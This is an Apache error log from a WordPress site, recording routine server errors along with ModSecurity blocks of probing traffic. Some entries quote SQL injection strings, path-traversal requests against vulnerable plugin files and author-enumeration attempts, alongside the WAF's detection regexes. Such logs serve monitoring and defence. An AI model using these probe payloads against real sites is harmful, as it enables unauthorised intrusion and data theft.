[Fri Nov 01 12:20:01.308699 2019] [ssl:error] [pid 21377] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:01.308732 2019] [ssl:error] [pid 21377] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:01.397341 2019] [ssl:error] [pid 21378] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:01.397385 2019] [ssl:error] [pid 21378] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:01.759430 2019] [ssl:error] [pid 21456] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:01.759457 2019] [ssl:error] [pid 21456] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:01.855775 2019] [ssl:error] [pid 21457] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:01.855817 2019] [ssl:error] [pid 21457] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:02.220606 2019] [ssl:error] [pid 21249] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:02.220648 2019] [ssl:error] [pid 21249] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:02.316782 2019] [ssl:error] [pid 21451] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:02.316818 2019] [ssl:error] [pid 21451] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:02.697891 2019] [ssl:error] [pid 21378] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:02.697939 2019] [ssl:error] [pid 21378] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:02.759331 2019] [ssl:error] [pid 21453] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:02.759376 2019] [ssl:error] [pid 21453] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:03.155871 2019] [ssl:error] [pid 21456] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:03.155913 2019] [ssl:error] [pid 21456] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:03.222192 2019] [ssl:error] [pid 21457] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:03.222235 2019] [ssl:error] [pid 21457] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:03.623724 2019] [ssl:error] [pid 21248] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:03.623772 2019] [ssl:error] [pid 21248] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 14:54:37.806241 2019] [proxy_fcgi:error] [pid 4259] [client 193.106.30.99:44708] AH01071: Got error 'Primary script unknown\n'
[Sat Nov 02 11:24:37.600615 2019] [proxy_fcgi:error] [pid 18679] [client 193.106.30.99:50592] AH01071: Got error 'Primary script unknown\n'
[Sat Nov 02 21:11:15.436545 2019] [proxy_fcgi:error] [pid 8465] [client 193.106.30.99:37496] AH01071: Got error 'Primary script unknown\n'
[Sun Nov 03 23:52:15.897787 2019] [proxy_fcgi:error] [pid 8441] [client 193.106.30.99:47176] AH01071: Got error 'Primary script unknown\n'
[Mon Nov 04 02:52:56.578702 2019] [ssl:error] [pid 28320] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Nov 04 02:52:56.588771 2019] [ssl:error] [pid 28320] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Nov 04 03:24:24.280089 2019] [proxy_fcgi:error] [pid 29984] [client 122.51.64.147:45234] AH01071: Got error 'Primary script unknown\n'
[Mon Nov 04 19:40:56.223209 2019] [proxy_fcgi:error] [pid 711] [client 193.106.30.99:44652] AH01071: Got error 'Primary script unknown\n'
[Tue Nov 05 01:29:23.490955 2019] [:error] [pid 6391] [client 180.241.45.124:9185] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "88"] [id "33340145"] [rev "43"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection probe"] [data " 1=1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (?:/index\\\\.php/admin/catalog_category/save|(?:/admin/stats|/css/gallery-css)\\\\.php\\\\?1=1|/admin\\\\.php\\\\?tile=mail$|/catalog_category/save/key/|/\\\\?op=admin_settings|^/\\\\?openpage=|/^admin/extra)" against "REQUEST_URI" required. [hostname "fincasandoval.com"] [uri "/ and 1=1"] [unique_id "XcDCYwjqhG7lFyhkRRfVAQAAAAE"]
[Tue Nov 05 01:29:24.287208 2019] [:error] [pid 5596] [client 180.241.45.124:39108] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "88"] [id "33340145"] [rev "43"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection probe"] [data " 1=1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (?:/index\\\\.php/admin/catalog_category/save|(?:/admin/stats|/css/gallery-css)\\\\.php\\\\?1=1|/admin\\\\.php\\\\?tile=mail$|/catalog_category/save/key/|/\\\\?op=admin_settings|^/\\\\?openpage=|/^admin/extra)" against "REQUEST_URI" required. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XcDCZIFBvBTHTR2MPTl4yAAAABw"]
[Tue Nov 05 01:29:26.005165 2019] [:error] [pid 6473] [client 180.241.45.124:43276] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "130"] [id "33340156"] [rev "14"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic SQL injection protection"] [data "'x'='x"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\b(\\\\d+) ?= ?\\\\1\\\\b|[\\\\'\\"](\\\\w+)[\\\\'\\"] ?= ?[\\\\'\\"]\\\\2\\\\b" at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XcDCZjd-AXUIIhDQ5AMZTwAAAAI"]
[Tue Nov 05 01:39:28.896223 2019] [:error] [pid 7129] [client 180.241.45.124:3174] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "69"] [id "33340016"] [rev "32"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection attempt detected"] [data "union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,4"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:(?:select|grant|delete|drop|alter|replace|truncate|create|rename|describe)[[:space:]]+[a-z|0-9|\\\\*|\\\\,]+[[:space:]]+(?:into|table|database|index|view)[[:space:]]+[a-z|0-9|\\\\*| |\\\\,]|\\\\bunion\\\\b.{1,256}?select.{1,256}[a-z0-9].{1,256}(?:from|#|, ?[0-9 ..." at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XcDEwMAp@xItGI3LT9uSBAAAAAg"]
[Tue Nov 05 01:39:29.763574 2019] [:error] [pid 5585] [client 180.241.45.124:38125] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "69"] [id "33340016"] [rev "32"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection attempt detected"] [data "union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,4"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:(?:select|grant|delete|drop|alter|replace|truncate|create|rename|describe)[[:space:]]+[a-z|0-9|\\\\*|\\\\,]+[[:space:]]+(?:into|table|database|index|view)[[:space:]]+[a-z|0-9|\\\\*| |\\\\,]|\\\\bunion\\\\b.{1,256}?select.{1,256}[a-z0-9].{1,256}(?:from|#|, ?[0-9 ..." at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XcDEwUKr5ezNbjnHUtXw9gAAABM"]
[Tue Nov 05 01:39:30.604281 2019] [:error] [pid 7130] [client 180.241.45.124:63550] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "69"] [id "33340016"] [rev "32"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection attempt detected"] [data "union select char(45,120,49,45,81,45),char(45,120,50,45,81,45),char(45,120,51,45,81,45),char(45,120,52,45,81,45),char(45,120,53,45,81,45),char(45,120,54,45,81,45),char(45,120,55,45,81,45),char(45,120,56,45,81,45),char(45,120,57,45,81,45),char(45,120,49,48,45,81,4"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:(?:select|grant|delete|drop|alter|replace|truncate|create|rename|describe)[[:space:]]+[a-z|0-9|\\\\*|\\\\,]+[[:space:]]+(?:into|table|database|index|view)[[:space:]]+[a-z|0-9|\\\\*| |\\\\,]|\\\\bunion\\\\b.{1,256}?select.{1,256}[a-z0-9].{1,256}(?:from|#|, ?[0-9 ..." at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XcDEwiCrXX5iX0nyTqKvlgAAAAk"]
[Tue Nov 05 01:49:44.874918 2019] [:error] [pid 7847] [client 180.241.45.124:51417] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "69"] [id "33340016"] [rev "32"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection attempt detected"] [data "select*from(select name_const(char("] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:(?:select|grant|delete|drop|alter|replace|truncate|create|rename|describe)[[:space:]]+[a-z|0-9|\\\\*|\\\\,]+[[:space:]]+(?:into|table|database|index|view)[[:space:]]+[a-z|0-9|\\\\*| |\\\\,]|\\\\bunion\\\\b.{1,256}?select.{1,256}[a-z0-9].{1,256}(?:from|#|, ?[0-9 ..." at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XcDHKCrgBL2-yknhjHFFSAAAAAQ"]
[Tue Nov 05 01:49:45.626259 2019] [:error] [pid 6387] [client 180.241.45.124:30941] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "69"] [id "33340016"] [rev "32"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection attempt detected"] [data "select*from(select name_const(char("] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:(?:select|grant|delete|drop|alter|replace|truncate|create|rename|describe)[[:space:]]+[a-z|0-9|\\\\*|\\\\,]+[[:space:]]+(?:into|table|database|index|view)[[:space:]]+[a-z|0-9|\\\\*| |\\\\,]|\\\\bunion\\\\b.{1,256}?select.{1,256}[a-z0-9].{1,256}(?:from|#|, ?[0-9 ..." at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XcDHKRPLuZ2Hv2F1oQdorwAAAAA"]
[Tue Nov 05 01:49:46.400883 2019] [:error] [pid 7134] [client 180.241.45.124:9736] [client 180.241.45.124] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "69"] [id "33340016"] [rev "32"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Possible SQL injection attempt detected"] [data "select*from(select name_const(char("] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:(?:select|grant|delete|drop|alter|replace|truncate|create|rename|describe)[[:space:]]+[a-z|0-9|\\\\*|\\\\,]+[[:space:]]+(?:into|table|database|index|view)[[:space:]]+[a-z|0-9|\\\\*| |\\\\,]|\\\\bunion\\\\b.{1,256}?select.{1,256}[a-z0-9].{1,256}(?:from|#|, ?[0-9 ..." at ARGS:page_id. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XcDHKr9lrWa65lkk4EYwUAAAAAs"]
[Tue Nov 05 03:25:06.038364 2019] [proxy_fcgi:error] [pid 21500] [client 185.124.87.92:55213] AH01071: Got error 'Primary script unknown\n'
[Tue Nov 05 11:00:45.045696 2019] [ssl:error] [pid 7991] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Nov 05 11:00:45.061092 2019] [ssl:error] [pid 7991] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Nov 05 11:00:45.207119 2019] [ssl:error] [pid 8791] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Nov 05 11:00:45.207178 2019] [ssl:error] [pid 8791] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Nov 05 11:00:45.372040 2019] [ssl:error] [pid 9060] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Nov 05 11:00:45.372093 2019] [ssl:error] [pid 9060] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Nov 05 12:34:16.735751 2019] [proxy_fcgi:error] [pid 22214] [client 193.106.30.99:38142] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 06 02:11:51.257980 2019] [proxy_fcgi:error] [pid 29405] [client 193.106.30.99:56794] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_template_part() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/footer.php:22\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/footer.php on line 22\n'
[Wed Nov 06 10:33:17.734772 2019] [proxy_fcgi:error] [pid 1901] [client 125.141.139.17:41998] AH01071: Got error 'PHP message: WordPress database error Table 'nabZ4_options' is read only for query DELETE FROM `nabZ4_options` WHERE `option_name` = '_transient_jetpack_idc_allowed' made by require('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, get_transient, delete_option\nPHP message: WordPress database error Table 'nabZ4_options' is read only for query DELETE FROM `nabZ4_options` WHERE `option_name` = '_transient_timeout_jetpack_idc_allowed' made by require('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, get_transient, delete_option\nPHP message: WordPress database error Table 'nabZ4_options' is read only for query UPDATE `nabZ4_options` SET `option_value` = '1573036397' WHERE `option_name` = '_transient_timeout_jetpack_idc_allowed' made by require('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, set_transient, update_option\nPHP message: Error Table 'nabZ4_options' is read only de la base de datos de WordPress para la consulta INSERT INTO `nabZ4_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1573032797.7018630504608154296875', 'yes') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) realizada por require('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('init'), WP_Hook->do_action, WP_Hook->apply_filters, wp_cron, spawn_cron, set_transient, add_option\n', referer: http://fincasandoval.com/wp-login.php
[Wed Nov 06 10:33:20.196711 2019] [proxy_fcgi:error] [pid 1909] [client 125.141.139.17:43832] AH01071: Got error 'PHP message: WordPress database error Table 'nabZ4_options' is read only for query DELETE FROM `nabZ4_options` WHERE `option_name` = '_transient_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, get_transient, delete_option\nPHP message: WordPress database error Table 'nabZ4_options' is read only for query DELETE FROM `nabZ4_options` WHERE `option_name` = '_transient_timeout_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, get_transient, delete_option\nPHP message: WordPress database error Table 'nabZ4_options' is read only for query UPDATE `nabZ4_options` SET `option_value` = '1573036400' WHERE `option_name` = '_transient_timeout_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, set_transient, update_option\nPHP message: Error Table 'nabZ4_options' is read only de la base de datos de WordPress para la consulta INSERT INTO `nabZ4_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1573032800.1398849487304687500000', 'yes') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) realizada por require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('init'), WP_Hook->do_action, WP_Hook->apply_filters, wp_cron, spawn_cron, set_transient, add_option\n', referer: http://fincasandoval.com///?author=1
[Wed Nov 06 10:33:25.746940 2019] [proxy_fcgi:error] [pid 1849] [client 125.141.139.17:46554] AH01071: Got error 'PHP message: WordPress database error Table 'nabZ4_options' is read only for query DELETE FROM `nabZ4_options` WHERE `option_name` = '_transient_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, get_transient, delete_option\nPHP message: WordPress database error Table 'nabZ4_options' is read only for query DELETE FROM `nabZ4_options` WHERE `option_name` = '_transient_timeout_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, get_transient, delete_option\nPHP message: WordPress database error Table 'nabZ4_options' is read only for query UPDATE `nabZ4_options` SET `option_value` = '1573036405' WHERE `option_name` = '_transient_timeout_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, set_transient, update_option\nPHP message: Error Table 'nabZ4_options' is read only de la base de datos de WordPress para la consulta INSERT INTO `nabZ4_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1573032805.7140970230102539062500', 'yes') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) realizada por require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('init'), WP_Hook->do_action, WP_Hook->apply_filters, wp_cron, spawn_cron, set_transient, add_option\n', referer: http://fincasandoval.com///?author=2
[Wed Nov 06 10:35:11.756487 2019] [proxy_fcgi:error] [pid 1990] [client 95.216.19.59:51212] AH01071: Got error 'PHP message: WordPress database error Table 'nabZ4_options' is read only for query DELETE FROM `nabZ4_options` WHERE `option_name` = '_transient_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, get_transient, delete_option\nPHP message: WordPress database error Table 'nabZ4_options' is read only for query DELETE FROM `nabZ4_options` WHERE `option_name` = '_transient_timeout_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, get_transient, delete_option\nPHP message: WordPress database error Table 'nabZ4_options' is read only for query UPDATE `nabZ4_options` SET `option_value` = '1573036511' WHERE `option_name` = '_transient_timeout_jetpack_idc_allowed' made by require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('plugins_loaded'), WP_Hook->do_action, WP_Hook->apply_filters, Automattic\\Jetpack\\Sync\\Actions::init, Automattic\\Jetpack\\Sync\\Actions::sync_allowed, Jetpack::is_staging_site, Jetpack::validate_sync_error_idc_option, set_transient, update_option\nPHP message: Error Table 'nabZ4_options' is read only de la base de datos de WordPress para la consulta INSERT INTO `nabZ4_options` (`option_name`, `option_value`, `autoload`) VALUES ('_transient_doing_cron', '1573032911.7229731082916259765625', 'yes') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`) realizada por require('wp-blog-header.php'), require_once('wp-load.php'), require_once('wp-config.php'), require_once('wp-settings.php'), do_action('init'), WP_Hook->do_action, WP_Hook->apply_filters, wp_cron, spawn_cron, set_transient, add_option\n'
[Thu Nov 07 04:54:54.051845 2019] [proxy_fcgi:error] [pid 29829] [client 193.106.30.99:55630] AH01071: Got error 'Primary script unknown\n'
[Thu Nov 07 15:50:36.442242 2019] [autoindex:error] [pid 13052] [client 51.75.95.185:51164] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Fri Nov 08 19:06:03.589292 2019] [proxy_fcgi:error] [pid 27479] [client 104.238.97.201:48660] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Nov 08 19:06:14.602071 2019] [proxy_fcgi:error] [pid 27945] [client 104.238.97.201:50240] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Nov 08 19:09:09.119228 2019] [proxy_fcgi:error] [pid 25695] [client 104.238.97.201:47126] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Nov 08 19:10:39.501033 2019] [proxy_fcgi:error] [pid 28151] [client 104.238.97.201:60382] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Nov 08 23:01:52.456498 2019] [proxy_fcgi:error] [pid 23186] [client 196.47.64.42:47794] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Nov 08 23:02:15.938161 2019] [proxy_fcgi:error] [pid 22654] [client 196.47.64.42:51312] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Fri Nov 08 23:08:50.727063 2019] [authz_core:error] [pid 24053] [client 188.213.166.219:37142] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-admin/setup-config.php, referer: fincasandoval.com
[Sat Nov 09 13:47:13.588988 2019] [proxy_fcgi:error] [pid 22115] [client 185.124.87.92:64504] AH01071: Got error 'Primary script unknown\n'
[Sat Nov 09 16:22:10.208746 2019] [authz_core:error] [pid 4865] [client 194.61.24.94:52457] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-hotel-booking
[Sun Nov 10 16:42:47.061904 2019] [proxy_fcgi:error] [pid 23906] [client 193.106.30.99:43526] AH01071: Got error 'Primary script unknown\n'
[Sun Nov 10 17:21:11.092496 2019] [proxy_fcgi:error] [pid 29323] [client 192.99.15.139:53494] AH01071: Got error 'Primary script unknown\n'
[Sun Nov 10 17:21:38.892022 2019] [proxy_fcgi:error] [pid 28947] [client 192.99.15.139:62126] AH01071: Got error 'Primary script unknown\n'
[Sun Nov 10 17:23:39.547869 2019] [:error] [pid 29692] [client 192.99.15.139:54390] [client 192.99.15.139] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:path"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:path. [hostname "www.fincasandoval.com"] [uri "/wp-content/plugins/wp-support-plus-responsive-ticket-system/includes/admin/downloadAttachment.php"] [unique_id "Xcg5iyocNFhQzW3N00CODQAAAAM"]
[Sun Nov 10 17:24:00.698548 2019] [:error] [pid 29226] [client 192.99.15.139:55610] [client 192.99.15.139] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:pic"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:pic. [hostname "www.fincasandoval.com"] [uri "/wp-content/plugins/ungallery/source_vuln.php"] [unique_id "Xcg5oP9WH6lrsmcOcjTc4gAAAAs"]
[Mon Nov 11 00:59:42.218157 2019] [autoindex:error] [pid 5841] [client 52.11.94.217:54280] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/wp-includes/css/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Mon Nov 11 00:59:42.325422 2019] [proxy_fcgi:error] [pid 7510] [client 52.11.94.217:22332] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/index.php:15\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/index.php on line 15\n', referer: http://sucuri.net
[Mon Nov 11 01:09:59.982370 2019] [authz_core:error] [pid 8119] [client 163.172.116.48:57990] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/gourl-bitcoin-payment-gateway-paid-downloads-membership
[Mon Nov 11 19:45:47.587301 2019] [proxy_fcgi:error] [pid 27134] [client 5.100.249.231:34287] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Mon Nov 11 19:47:10.784565 2019] [proxy_fcgi:error] [pid 28905] [client 5.100.249.231:41755] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Mon Nov 11 19:48:12.973744 2019] [proxy_fcgi:error] [pid 28903] [client 5.100.249.231:47663] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Mon Nov 11 19:48:37.948070 2019] [proxy_fcgi:error] [pid 28358] [client 5.100.249.231:49493] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
